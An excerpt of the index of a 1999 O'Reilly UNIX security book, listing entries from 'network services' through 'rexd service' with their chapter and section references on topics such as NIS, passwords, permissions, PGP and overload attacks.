-n option : 17.5. Monitoring Your Network with netstat
network connections : 17.3.3. TELNET (TCP Port 23)
network databases : 3.2.2. The /etc/passwd File and Network Databases
Network Filesystem : (see NFS)
network filesystems : 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
Network Information Center (NIC) : 24.2.4.2. How to contact the system administrator of a computer you don't know
Network Information System : (see NIS)
Network News Transport Protocol : (see NNTP)
network providers : 27.2.6. Network Providers that Network Too Well
network services
17. TCP/IP Services
17.7. Summary
23.3. Tips on Writing Network Programs
DNS : (see DNS)
encryption with : 17.4. Security Implications of Network Services
finger : (see finger command)
FTP : (see FTP)
NNTP : (see NNTP)
NTP : (see NTP)
passwords for : 17.4. Security Implications of Network Services
POP : (see POP)
root account with : 17.4. Security Implications of Network Services
securing : 19.1. Securing Network Services
SMTP : (see SMTP)
SNMP : (see SNMP)
spoofing : 17.5. Monitoring Your Network with netstat
systat : 17.3.1. systat (TCP Port 11)
table of : G. Table of IP Services
Telnet : (see Telnet utility)
TFTP : (see TFTP)
UUCP over TCP : 17.3.20. UUCP over TCP (TCP Port 540)
Network Time Protocol : (see NTP)
network weaving : 16.1.1.1. Who is on the Internet?
networks
10Base-T : 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
allowing threats from : 11.4. Entry
ARPANET : 16.1.1. The Internet
backing up
7.2.2. Small Network of Workstations and a Server
7.2.4. Large Service-Based Networks with Large Budgets
backups across : 7.4.5. Backups Across the Net
cables for : 12.2.4.2. Network cables
checklist for
A.1.1.15. Chapter 16: TCP/IP Networks
A.1.1.16. Chapter 17: TCP/IP Services
configuration files : 10.4.3. Network Setup
connectors for : 12.2.4.3. Network connectors
cutting cables : 25.1. Destructive Attacks
denial of service on
25.3. Network Denial of Service Attacks
25.3.4. Clogging
disabling physically : 25.3.3. Signal Grounding
Internet : 16.1.1. The Internet
LANs : (see LANs)
logging across : 10.5.2.2. Logging across the network
logging services of : 10.3.6. Logging Network Services
MANs : 16.1. Networking
mobile computing : 8.7. One-Time Passwords
monitoring with netstat : 17.5. Monitoring Your Network with netstat
NFSNET : 16.1.1. The Internet
packet-switching : 16.2. IPv4: The Internet Protocol Version 4
scanning : 17.6. Network Scanning
security references : D.1.8. Network Technology and Security
services for : 11.1.2. Back Doors and Trap Doors
sniffers : 16.3. IP Security
spoofed connection : 8.5.3.1. Trusted path
TCP/IP : (see TCP/IP, networks)
UNIX and : 16.1.2. Networking and UNIX
UUCP over : 15.8. UUCP Over Networks
WANs : 16.1. Networking
Networks table (NIS+) : 19.5.3. NIS+ Tables
networks, computer : 1.4.3. Add-On Functionality Breeds Problems
Neumann, Peter : 1.3. History of UNIX
newgrp command : 4.1.3.2. Groups and older AT&T UNIX
newkey -u command
19.3.2.1. Creating passwords for users
19.5.4.2. When a user's passwords don't match
news : (see Usenet)
news (user) : 4.1. Users and Groups
newsgroups, defamation/harassment via : 26.4.7. Harassment, Threatening Communication, and Defamation
NEXTSTEP Window Server (NSWS) : 17.3.16. NEXTSTEP Window Server (NSWS) (TCP Port 178)
NFS (Network Filesystem) : 19. RPC, NIS, NIS+, and Kerberos
authentication and
19.2.2. RPC Authentication
19.2.2.4. AUTH_KERB
checklist for : A.1.1.19. Chapter 20: NFS
file permissions : 5.1.7. File Permissions in Detail
find command on : 5.5.4. Finding All of the SUID and SGID Files
-local option : 11.6.1.2. Writable system files and directories
MOUNT : 20.1.1. NFS History
Secure NFS : (see Secure NFS)
server, and UUCP : 15.3. UUCP and Security
technical description of : 20.1.1. NFS History
and trusted hosts : 17.3.18.2. The problem with trusted hosts
-xdev option : 11.6.1.2. Writable system files and directories
NIC (Network Information Center) : 24.2.4.2. How to contact the system administrator of a computer you don't know
nice command : 25.2.1.2. System overload attacks
nice numbers : C.1.3.3. Process priority and niceness
NIS (Network Information Service)
+ in
19.4. Sun's Network Information Service (NIS)
19.4.4.6. NIS is confused about "+"
clients : 19.4. Sun's Network Information Service (NIS)
domains : 19.4.3. NIS Domains
maps : 19.4. Sun's Network Information Service (NIS)
netgroups
19.4.4. NIS Netgroups
19.4.4.6. NIS is confused about "+"
limiting imported accounts : 19.4.4.2. Using netgroups to limit the importing of accounts
Secure RPC with
19.3.2. Setting Up Secure RPC with NIS
19.3.4. Limitations of Secure RPC
spoofing : 19.4.4.5. Spoofing NIS
UDP : 16.2.4.3. UDP
Yellow Pages : 16.2.6.2. Other naming services
NIS (Network Information System)
3.2.2. The /etc/passwd File and Network Databases
3.4. Changing Your Password
19. RPC, NIS, NIS+, and Kerberos
19.4. Sun's Network Information Service (NIS)
19.4.5. Unintended Disclosure of Site Information with NIS
NIS+
3.2.2. The /etc/passwd File and Network Databases
3.4. Changing Your Password
16.2.6.2. Other naming services
19.5. Sun's NIS+
19.5.5. NIS+ Limitations
integrity-checking software for : 19.5.5. NIS+ Limitations
principals : 19.5.1. What NIS+ Does
Secure RPC with
19.3.2. Setting Up Secure RPC with NIS
19.3.4. Limitations of Secure RPC
nisaddcred command : 19.3.1.1. Proving your identity
niscat command : 3.2.2. The /etc/passwd File and Network Databases
nischown command : 19.5.4. Using NIS+
nispasswd command
3.4. Changing Your Password
19.5.4. Using NIS+
19.5.4.2. When a user's passwords don't match
NIST (National Institute of Standards and Technology)
F.2.1. National Institute of Standards and Technology (NIST)
F.3.4.26. NIST (National Institute of Standards and Technology)
NNTP (Network News Transport Protocol) : 17.3.13. Network News Transport Protocol (NNTP) (TCP Port 119)
nobody (user)
4.1. Users and Groups
19.3.2.1. Creating passwords for users
noexpn (sendmail) : 17.3.4.3. Improving the security of Berkeley sendmail V8
noise, electrical : 12.2.1.8. Electrical noise
nonadaptive modems : (see modems)
nonblocking systems : 19.2. Sun's Remote Procedure Call (RPC)
nonce : 23.3. Tips on Writing Network Programs
nonrepudiation : 6.5. Message Digests and Digital Signatures
NORDUNET : F.3.4.27. NORDUNET: Denmark, Sweden, Norway, Finland, Iceland
NOREAD= command : 15.5.2. Permissions Commands
Northwestern University : F.3.4.28. Northwestern University
nosuid : 11.1.2. Back Doors and Trap Doors
Novell : 1.3. History of UNIX
novrfy (sendmail) : 17.3.4.3. Improving the security of Berkeley sendmail V8
Nowitz, David : 15.2. Versions of UUCP
NOWRITE= command : 15.5.2. Permissions Commands
npasswd package : 8.8.2. Constraining Passwords
NPROC variable : 25.2.1.1. Too many processes
NSA (National Security Agency) : F.2.2. National Security Agency (NSA)
NSWS (NextStep Window Server) : 17.3.16. NEXTSTEP Window Server (NSWS) (TCP Port 178)
NTP (Network Time Protocol) : 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
Secure RPC and : 19.3.1.3. Setting the window
NU-CERT : F.3.4.28. Northwestern University
null device : 5.6. Device Files
nuucp account
15.1.4. How the UUCP Commands Work
15.3.1. Assigning Additional UUCP Logins
15.4.1.3. Format of USERFILE entry without system name

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

obscurity : (see security, through obscurity)
octal file permissions
5.2.3. Calculating Octal File Permissions
5.2.4. Using Octal File Permissions
octets : 16.2.1. Internet Addresses
Odlyzko, Andrew : 19.3.4. Limitations of Secure RPC
OFB (output feedback) : 6.4.4.2. DES modes
on-the-job security
13.2. On the Job
13.2.6. Departure
one : 9.2.1. Comparison Copies
one-command accounts : 8.1.3. Accounts That Run a Single Command
one-time pad encryption
6.4.7. An Unbreakable Encryption Algorithm
8.7.3. Code Books
one-time passwords
3.7. One-Time Passwords
8.7. One-Time Passwords
8.7.3. Code Books
17.4. Security Implications of Network Services
23.3. Tips on Writing Network Programs
one-way phone lines : 14.4.1. One-Way Phone Lines
open access, tradition of : 1.4.1. Expectations
open accounts
8.1.4. Open Accounts
8.1.4.6. Potential problems with rsh
8.8.7. Algorithm and Library Changes
open command : 23.2. Tips on Avoiding Security-related Bugs
O_CREAT and O_EXCL flags : 23.2. Tips on Avoiding Security-related Bugs
Open Software Distribution (OSD) : Preface
Open Software Foundation (OSF) : 1.3. History of UNIX
open system call : 5.1.7. File Permissions in Detail
Open System Interconnection (OSI) : 16.4.4. OSI
opendir library call : 5.4. Using Directory Permissions
operating systems
1.2. What Is an Operating System?
12.3.3. Other Media
keeping secret : 2.5. The Problem with Security Through Obscurity
operating systems
Which UNIX System?
(see also under specific name)
optic cables : (see cables, network)
optical vampire taps : 12.3.1.5. Fiber optic cable
Options command : 18.3.2. Commands Within the <Directory> Block
Orange Book : 2.3.3. Adding Up the Numbers
originate mode : 14.3.1. Originate and Answer
originate testing : 14.5.3.1. Originate testing
OSF (Open Software Foundation) : 1.3. History of UNIX
OSF/1 operating system : 1.3. History of UNIX
OSI (Open System Interconnection) : 16.4.4. OSI
Outcome table (NIS+) : 19.5.3. NIS+ Tables
outgoing calls : 14.5. Modems and UNIX
outgoing mail, logging : 10.4.2. Mail
output feedback (OFB) : 6.4.4.2. DES modes
outsiders : 13.3. Outsiders
overload attacks
25.2. Overload Attacks
25.2.5. Soft Process Limits: Preventing Accidental Denial of Service
overtime : 13.2.3. Performance Reviews and Monitoring
overwriting media : 12.3.2.3. Sanitize your media before disposal
OW- (sendmail.cf) : 17.3.4.2. Using sendmail to receive email
owners of information : 2.4.4.1. Assign an owner
owners, changing : 5.7. chown: Changing a File's Owner
ownership notices : 26.2.6. Other Tips

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

pacct file : 10.2. The acct/pacct Process Accounting File
pack program : 6.6.1.2. Ways of improving the security of crypt
packet sniffing : 16.3.1. Link-level Security
packet-switching networks : 16.2. IPv4: The Internet Protocol Version 4
packets : (see IP packets)
paper
backups on : 24.5.1. Never Trust Anything Except Hardcopy
copies : 7.3.2. Building an Automatic Backup System
logging on : 10.7. Handwritten Logs
shredders for : 12.3.3. Other Media
throwing out : 12.3.3. Other Media
parent processes : C.2. Creating Processes
partitions : 25.2.2.4. Using partitions to protect your users
backup by : 7.1.3. Types of Backups
root : (see root directory)
pass phrases : (see passwords)
pass phrases for PGP
6.6.3.1. Encrypting files with IDEA
(see also passwords)
passive FTP
17.3.2.2. Passive vs. active FTP
17.3.2.3. FTP passive mode
passwd command
3.4. Changing Your Password
8.6.2. What Is Salt?
as SUID program : 5.5. SUID
-l option
8.4.1. Changing an Account's Password
8.8.8. Disabling an Account by Changing Its Password
-n option : 8.8.6. Password Aging and Expiration
-x option : 8.8.6. Password Aging and Expiration
-f nomemory option : 3.5. Verifying Your New Password
using as superuser : 3.5. Verifying Your New Password
passwd file
1.2. What Is an Operating System?
3.2.1. The /etc/passwd File
3.2.2. The /etc/passwd File and Network Databases
4.2.3. Impact of the /etc/passwd and /etc/group Files on Security
7.1.2. What Should You Back Up?
8.1.1. Accounts Without Passwords
8.6. The UNIX Encrypted Password System
15.1.4. How the UUCP Commands Work
24.4.1. New Accounts
C.5.1. Process #1: /etc/init
(see /etc/passwd file)
Passwd table (NIS+) : 19.5.3. NIS+ Tables
passwd+ package
8.8.2. Constraining Passwords
8.8.4. Password Generators
password coach : 8.8.4. Password Generators
password file : 19.4.4.6. NIS is confused about "+"
password modems : 14.6. Additional Security for Modems
password.adjunct file : 8.8.5. Shadow Password Files
passwords
3.2. Passwords
3.6.1. Bad Passwords: Open Doors
3.8. Summary
23.5. Tips on Using Passwords
accounts without : 8.1.1. Accounts Without Passwords
assigning to users : 8.8.1. Assigning Passwords to Users
avoiding conventional
8.8. Administrative Techniques for Conventional Passwords
8.8.9. Account Names Revisited: Using Aliases for Increased Security
bad choices for
3.6.1. Bad Passwords: Open Doors
3.6.4. Passwords on Multiple Machines
changing
3.4. Changing Your Password
3.5. Verifying Your New Password
8.4.1. Changing an Account's Password
8.8.8. Disabling an Account by Changing Its Password
checklist for : A.1.1.2. Chapter 3: Users and Passwords
constraining : 8.8.2. Constraining Passwords
conventional : 3.2.6. Conventional UNIX Passwords
cracking
8.6.1. The crypt() Algorithm
8.8.3. Cracking Your Own Passwords
8.8.3.2. The dilemma of password crackers
17.3.3. TELNET (TCP Port 23)
encrypting
8.6. The UNIX Encrypted Password System
8.6.4. Crypt16() and Other Algorithms
expiring : 8.8.6. Password Aging and Expiration
federal jurisdiction over : 26.2.2. Federal Jurisdiction
FTP and : 17.3.2. (FTP) File Transfer Protocol (TCP Ports 20 and 21)
generators of : 8.8.4. Password Generators
hit lists of : 3.6.1. Bad Passwords: Open Doors
Kerberos : 19.6.5. Kerberos Limitations
logging changes to : 10.7.2.1. Exception and activity reports
logging failed attempts at : 10.5.3. syslog Messages
for MUDs : 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
on multiple machines
3.6.4. Passwords on Multiple Machines
3.6.5. Writing Down Passwords
over network connections : 23.3. Tips on Writing Network Programs
with network services : 17.4. Security Implications of Network Services
NIS, with Secure RPC : 19.3.2.1. Creating passwords for users
NIS+, changing : 19.5.4.1. Changing your password
one-time
3.7. One-Time Passwords
8.7. One-Time Passwords
8.7.3. Code Books
17.4. Security Implications of Network Services
with POP : 17.3.10. Post Office Protocol (POP) (TCP Ports 109 and 110)
required for Web use
18.3.2. Commands Within the <Directory> Block
18.3.3. Setting Up Web Users and Passwords
shadow
8.4.1. Changing an Account's Password
8.8.5. Shadow Password Files
sniffing
1.4.3. Add-On Functionality Breeds Problems
3. Users and Passwords
8.7. One-Time Passwords
system clock and : 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
token cards with : 8.7.2. Token Cards
unique, number of : 3.6.3. Good Passwords: Locked Doors
usernames as : 8.8.3.1. Joetest: a simple password cracker
UUCP accounts : 15.3.2. Establishing UUCP Passwords
verifying new : 3.5. Verifying Your New Password
wizard's (sendmail) : 17.3.4.1. sendmail and security
writing down : 3.6.5. Writing Down Passwords
patches, logging : 10.7.2.2. Informational material
patents : 26.4.4. Patent Concerns
and cryptography : 6.7.1. Cryptography and the U.S. Patent System
PATH variable
8.1.4.1. Restricted shells under System V UNIX
8.1.4.6. Potential problems with rsh
23.4. Tips on Writing SUID/SGID Programs
attacks via : 11.5.1.1. PATH attacks
pathnames : 23.2. Tips on Avoiding Security-related Bugs
paths : 5.1.3. Current Directory and Paths
trusted : 8.5.3.1. Trusted path
pax program : 7.4.2. Simple Archives
PCERT (Purdue University) : F.3.4.30. Purdue University
PCs
viruses on : 11.1.5. Viruses
web server on : 18.2. Running a Secure Server
PDP-11 processors
1.3. History of UNIX
8.6.1. The crypt() Algorithm
Penn State response team : F.3.4.29. Pennsylvania State University
per-machine logs : 10.7.2. Per-Machine Logs
per-site logs : 10.7.1. Per-Site Logs
performance
compromised
25.2.1. Process-Overload Problems
25.2.1.2. System overload attacks
reviews : 13.2.3. Performance Reviews and Monitoring
with Secure RPC : 19.3.4. Limitations of Secure RPC
using FFS : 25.2.2.6. Reserved space
perimeter, security : 12.1.1. The Physical Security Plan
perl command
-T option
18.2.3.4. Tainting with Perl
23.4. Tips on Writing SUID/SGID Programs
Perl programming language
5.5.3. SUID Shell Scripts
11.1.4. Trojan Horses
11.5.1.2. IFS attacks
random seed generator : 23.9. A Good Random Seed Generator
script for reading lastlog file : 10.1.1. lastlog File
Swatch program
10.6. Swatch: A Log File Tool
10.6.2. The Swatch Configuration File
E.4.9. Swatch
tainting facility : 18.2.3.4. Tainting with Perl
permissions
1.1. What Is Computer Security?
5.1.6. Understanding File Permissions
5.2.4. Using Octal File Permissions
11.1.5. Viruses
11.6.1. File Protections
11.6.1.3. World-readable backup devices
access control lists (ACLs)
5.2.5. Access Control Lists
5.2.5.2. HP-UX access control lists
changing
5.2.1. chmod: Changing a File's Permissions
5.2.4. Using Octal File Permissions
directory : 5.4. Using Directory Permissions
/etc/utmp file : 10.1.2. utmp and wtmp Files
intruder's modifications to : 24.4.1.2. Changes in file and directory protections
modem devices : 14.5.2. Setting Up the UNIX Device
modem files : 14.5.1. Hooking Up a Modem to Your Computer
of NIS+ objects : 19.5.5. NIS+ Limitations
octal
5.2.3. Calculating Octal File Permissions
5.2.4. Using Octal File Permissions
of .rhosts file : 17.3.18.4. The ~/.rhosts file
SUID programs
5.5. SUID
5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory Record Locking
symbolic links and : 5.1.7. File Permissions in Detail
umasks
5.3. The umask
5.3.2. Common umask Values
UUCP : 15.4.1.4. Special permissions
Permissions file
15.5. Security in BNU UUCP
15.5.1. Permissions File
15.5.3. uucheck: Checking Your Permissions File
checking with uucheck : 15.5.3. uucheck: Checking Your Permissions File
personnel : (see employees)
PGP (Pretty Good Privacy)
6.6.3. PGP: Pretty Good Privacy
6.6.3.6. PGP detached signatures
-eat and -seat options : 6.6.3.3. Encrypting a message
encrypting message with : 6.6.3.3. Encrypting a message
encrypting Web documents : 18.4.1. Eavesdropping Over the Wire
-ka option : 6.6.3.2. Creating your PGP public key
-kg option : 6.6.3.2. Creating your PGP public key
-kvc option : 6.6.3.6. PGP detached signatures
-kxaf option : 6.6.3.2. Creating your PGP public key
-o option : 6.6.3.6. PGP detached signatures
-sat option : 6.6.3.4. Adding a digital signature to an announcement
-sb option : 6.6.3.6. PGP detached signatures
software signature : E.4. Software Resources
ph (phonebook) server : 17.3.8.3. Replacing finger
phantom mail : 17.3.4.2. Using sendmail to receive email
physical security
12. Physical Security
12.4.2. "Nothing to Lose?"
access control : 12.2.3. Physical Access
of backups
7.1.6. Security for Backups
7.1.6.3. Data security for backups
checklist for : A.1.1.11. Chapter 12: Physical Security
modems
14.5.4. Physical Protection of Modems
14.6. Additional Security for Modems
read-only filesystems : 9.1.2. Read-only Filesystems
signal grounding : 25.3.3. Signal Grounding
PIDs (process IDs)
C.1.3.1. Process identification numbers (PID)
C.1.3.4. Process groups and sessions
Pieprzyk, Josef : 6.5.4.3. HAVAL
PingWare program : 17.6.3. PingWare
pipe (in Swatch program) : 10.6.2. The Swatch Configuration File
pipes
18.2.3.2. Testing is not enough!
18.2.3.3. Sending mail
pipes (for smoking) : 12.2.1.2. Smoke
piracy of software
26.4.2.1. Software piracy and the SPA
(see also software)
pirated software : (see software)
plaintext attacks : 6.2.3. Cryptographic Strength
.plan file : 17.3.8.1. The .plan and .project files
platforms : (see operating systems)
play accounts : (see open accounts)
playback attacks : 19.6.1.2. Using the ticket granting ticket
plus sign (+)
in hosts.equiv file : 17.3.18.5. Searching for .rhosts files
in NIS
19.4. Sun's Network Information Service (NIS)
19.4.4.6. NIS is confused about "+"
Point-to-Point Protocol (PPP) : 14.5. Modems and UNIX
policy, security
1.2. What Is an Operating System?
2. Policies and Guidelines
2.5.3. Final Words: Risk Management Means Common Sense
A.1.1.1. Chapter 2: Policies and Guidelines
cost-benefit analysis
2.3. Cost-Benefit Analysis
2.3.4. Convincing Management
risk assessment
2.2. Risk Assessment
2.2.2. Review Your Risks
2.5.3. Final Words: Risk Management Means Common Sense
role of
2.4.1. The Role of Policy
2.4.4. Some Key Ideas in Developing a Workable Policy
2.4.4.7. Defend in depth
politics : 11.3. Authors
polyalphabetic ciphers : 6.3. The Enigma Encryption System
polygraph tests : 13.1. Background Checks
POP (Post Office Protocol) : 17.3.10. Post Office Protocol (POP) (TCP Ports 109 and 110)
popen function
18.2.3.2. Testing is not enough!
23.2. Tips on Avoiding Security-related Bugs
pornography : 26.4.5. Pornography and Indecent Material
port numbers
23.3. Tips on Writing Network Programs
G. Table of IP Services
portable computers : 12.2.6.3. Portables
portable I/O library : 1.3. History of UNIX
portmap service
19.2.1. Sun's portmap/rpcbind
19.4.4.4. Spoofing RPC
E.4.6. portmap
portmapper program
17.3.11. Sun RPC's portmapper (UDP and TCP Ports 111)
19.2.1. Sun's portmap/rpcbind
19.4.5. Unintended Disclosure of Site Information with NIS
ports
16.2.4.2. TCP
17.1.1. The /etc/services File
G. Table of IP Services
trusted : (see trusted, ports)
positivity : 2.4.4.2. Be positive
POSIX
1.3. History of UNIX
1.4.2. Software Quality
C.1.3.4. Process groups and sessions
chown command and : 5.7. chown: Changing a File's Owner
Post Office Protocol : (see POP)
postmaster, contacting : 24.2.4.2. How to contact the system administrator of a computer you don't know
PostScript files : 11.1.5. Viruses
power outages, logging : 10.7.1.1. Exception and activity reports
power surges
12.2. Protecting Computer Hardware
12.2.1.8. Electrical noise
(see also lightning)
PPP (Point-to-Point Protocol)
14.5. Modems and UNIX
16.2. IPv4: The Internet Protocol Version 4
preserve program : 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
Pretty Good Privacy : (see PGP)
prevention, cost of
2.3. Cost-Benefit Analysis
2.3.4. Convincing Management
primary group : 4.1.3. Groups and Group Identifiers (GIDs)
principals, NIS+ : 19.5.1. What NIS+ Does
print through process : 12.3.2.1. Verify your backups
printers
buffers : 12.3.4.1. Printer buffers
/etc/hosts.lpd file : 17.3.18.6. /etc/hosts.lpd file
logging to : 10.5.2.1. Logging to a printer
output from : 12.3.4.2. Printer output
ports for : 12.3.1.4. Auxiliary ports on terminals
priority of processes : C.1.3.3. Process priority and niceness
privacy
2.1. Planning Your Security Needs
2.5.2. Confidential Information
9. Integrity Management
12.3. Protecting Data
12.3.6. Key Switches
(see also encryption; integrity)
Electronic Communications Privacy Act (ECPA) : 26.2.3. Federal Computer Crime Laws
Secure RPC : 19.3.4. Limitations of Secure RPC
private-key cryptography
6.4. Common Cryptographic Algorithms
6.4.1. Summary of Private Key Systems
privilege testing (modem) : 14.5.3.3. Privilege testing
privileges, file : (see permissions)
privileges, SUID : (see SUID/SGID programs)
processes
C.1. About Processes
C.5.3. Running the User's Shell
accounting
10.2. The acct/pacct Process Accounting File
10.2.3. messages Log File
group IDs
4.3.3. Other IDs
C.1.3.4. Process groups and sessions
overload attacks
25.2.1. Process-Overload Problems
25.2.1.2. System overload attacks
priority of : C.1.3.3. Process priority and niceness
scheduler : C.1.3.3. Process priority and niceness
procmail system : 11.5.2.5. .forward, .procmailrc
.procmailrc file : 11.5.2.5. .forward, .procmailrc
.profile file
8.1.4.1. Restricted shells under System V UNIX
8.1.4.6. Potential problems with rsh
11.5.2.1. .login, .profile, /etc/profile
24.4.1.6. Changes to startup files
programmed threats
11. Protecting Against Programmed Threats
11.6.2. Shared Libraries
authors of : 11.3. Authors
checklist for : A.1.1.10. Chapter 11: Protecting Against Programmed Threats
protection from : 11.5. Protecting Yourself
references on : D.1.4. Computer Viruses and Programmed Threats
programming : 23. Writing Secure SUID and Network Programs
references for : D.1.11. UNIX Programming and System Administration
programs
CGI : (see CGI, scripts)
integrity of : (see integrity, data)
for network services : 23.3. Tips on Writing Network Programs
rabbit
11.1. Programmed Threats: Definitions
11.1.7. Bacteria and Rabbits
running simultaneously : 23.2. Tips on Avoiding Security-related Bugs
secure : 23. Writing Secure SUID and Network Programs
worms : 11.1.6. Worms
Project Athena : (see Kerberos system)
.project file : 17.3.8.1. The .plan and .project files
proprietary ownership notices : 26.2.6. Other Tips
prosecution, criminal
26.2. Criminal Prosecution
26.2.7. A Final Note on Criminal Actions
protocols
16.2.4. Packets and Protocols
(see also under specific protocol)
IP : (see IP protocols)
Protocols table (NIS+) : 19.5.3. NIS+ Tables
proxies, checklist for : A.1.1.21. Chapter 22: Wrappers and Proxies
pruning the wtmp file : 10.1.3.1. Pruning the wtmp file
ps command
6.6.2. des: The Data Encryption Standard
10.1.2. utmp and wtmp Files
19.3.2.3. Making sure Secure RPC programs are running on every workstation
24.2.1. Catching One in the Act
C.1.2. The ps Command
C.1.2.2. Listing processes with Berkeley-derived versions of UNIX
with kill command : 24.2.5. Getting Rid of the Intruder
to stop process overload
25.2.1.1. Too many processes
25.2.1.2. System overload attacks
pseudo-devices : 5.6. Device Files
pseudorandom functions : 23.6. Tips on Generating Random Numbers
PUBDIR= command : 15.5.2. Permissions Commands
public-key cryptography
6.4. Common Cryptographic Algorithms
6.4.2. Summary of Public Key Systems
6.4.6. RSA and Public Key Cryptography
6.4.6.3. Strength of RSA
6.5.3. Digital Signatures
18.3. Controlling Access to Files on Your Server
18.6. Dependence on Third Parties
breaking : 19.3.4. Limitations of Secure RPC
PGP : 6.6.3.2. Creating your PGP public key
proving identity with : 19.3.1.1. Proving your identity
publicity hounds : 11.3. Authors
publicizing security holes : 2.5.1. Going Public
publickey file : 19.3.2.1. Creating passwords for users
Purdue University (PCERT) : F.3.4.30. Purdue University
Purify : 23.2. Tips on Avoiding Security-related Bugs
pwck command : 8.2. Monitoring File Format

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

quality of software
1.4.2. Software Quality
1.4.3. Add-On Functionality Breeds Problems
quantifying threats : 2.2.1.3. Quantifying the threats
quot command : 25.2.2.2. quot command
quotacheck -a command : 25.2.2.5. Using quotas
quotas : 25.2.2.5. Using quotas
on /tmp directory : 25.2.4. /tmp Problems

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

rabbit programs
11.1. Programmed Threats: Definitions
11.1.7. Bacteria and Rabbits
race conditions : 23.2. Tips on Avoiding Security-related Bugs
radio
eavesdropping : 12.3.1.3. Eavesdropping by radio and using TEMPEST
transmissions : 14.4.4.1. Kinds of eavesdropping
transmitters : 12.2.1.8. Electrical noise
rain : (see water)
RAM theft : 12.2.6. Preventing Theft
rand function : 23.7.1. rand ( )
random device : 23.7.4. Other random number generators
random function : 23.7.2. random ( )
random numbers : 23.6. Tips on Generating Random Numbers
raw devices : 5.6. Device Files
rc directory : C.5.1. Process #1: /etc/init
RC2, RC4, and RC5 algorithms
6.4.1. Summary of Private Key Systems
6.4.8. Proprietary Encryption Systems
RC4 and RC5 algorithms : 6.4.1. Summary of Private Key Systems
rcp command
1.4.3. Add-On Functionality Breeds Problems
7.4.5. Backups Across the Net
RCS (Revision Control System)
7.3.2. Building an Automatic Backup System
17.3. Primary UNIX Network Services
rdist program
7.4.5. Backups Across the Net
9.2.1.3. rdist
rdump/rrestore program : 7.4.5. Backups Across the Net
read permission
5.1.7. File Permissions in Detail
5.4. Using Directory Permissions
read system call : 5.1.7. File Permissions in Detail
time-outs on : 23.3. Tips on Writing Network Programs
read-only exporting filesystems : 11.6.1.2. Writable system files and directories
read-only filesystems : 9.1.2. Read-only Filesystems
READ= command : 15.5.2. Permissions Commands
readdir library call : 5.4. Using Directory Permissions
real UIDs/GIDs
4.3.1. Real and Effective UIDs
C.1.3.2. Process real and effective UID
realpath function : 23.2. Tips on Avoiding Security-related Bugs
reauthentication
Kerberos : 19.6.4. Using Kerberos
Secure RPC : 19.3.1.3. Setting the window
Receive Data (RD) : 14.3. The RS-232 Serial Protocol
Redman, Brian E. : 15.2. Versions of UUCP
refer_log file : 18.4.2. Eavesdropping Through Log Files
reflectors (in Enigma system) : 6.3. The Enigma Encryption System
reformatting attack : 25.1. Destructive Attacks
relative humidity : 12.2.1.11. Humidity
relative pathnames : 5.1.3. Current Directory and Paths
remote
command execution
15.1.2. uux Command
15.4.3. L.cmds: Providing Remote Command Execution
17.3.17. rexec (TCP Port 512)
comparison copies : 9.2.1.2. Remote copies
computers
transferring files to : 15.1.1. uucp Command
file access (UUCP)
15.4.1. USERFILE: Providing Remote File Access
15.4.2.1. Some bad examples
network filesystems : 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
procedure calls : (see RPCs)
remote file
10.3.1. aculog File
14.5.1. Hooking Up a Modem to Your Computer
remote.unknown file : 15.5. Security in BNU UUCP
renice command
25.2.1.2. System overload attacks
C.1.3.3. Process priority and niceness
replay attacks
17.3.14. Network Time Protocol (NTP) (UDP Port 123)
19.6.1.2. Using the ticket granting ticket
reporting security holes : 2.5.1. Going Public
Request to Send (RTS) : 14.3. The RS-232 Serial Protocol
REQUEST= command
15.5.1.3. A Sample Permissions file
15.5.2. Permissions Commands
reserved memory space : 25.2.2.6. Reserved space
resolution, time : 23.8. Picking a Random Seed
resolver library (bind) : 16.2.6.1. DNS under UNIX
resolving (DNS) : 17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
response teams
27.3.5. Response Personnel?
F.3. Emergency Response Organizations
F.3.4.46. Westinghouse Electric Corporation
mailing lists for : E.1.1. Response Teams and Vendors
restore : (see dump/restore program)
restricted
filesystems
8.1.5. Restricted Filesystem
8.1.5.2. Checking new software
FTP : 17.3.2.5. Restricting FTP with the standard UNIX FTP server
logins : 8.3. Restricting Logins
shells
8.1.4.1. Restricted shells under System V UNIX
8.1.4.6. Potential problems with rsh
su use : 4.3.6. Restricting su
restrictmailq (sendmail) : 17.3.4.3. Improving the security of Berkeley sendmail V8
retention of backups
7.1.5. How Long Should You Keep a Backup?
7.2.2.2. Retention schedule
(see also networks, backing up)
return calls : 23.2. Tips on Avoiding Security-related Bugs
reverse lookup
16.3.2. Security and Nameservice
23.3. Tips on Writing Network Programs
Revision Control System (RCS)
7.3.2. Building an Automatic Backup System
17.3. Primary UNIX Network Services
revocation certificate : 6.6.3.2. Creating your PGP public key
rexd service : 19.2.2.4. AUTH_KERB
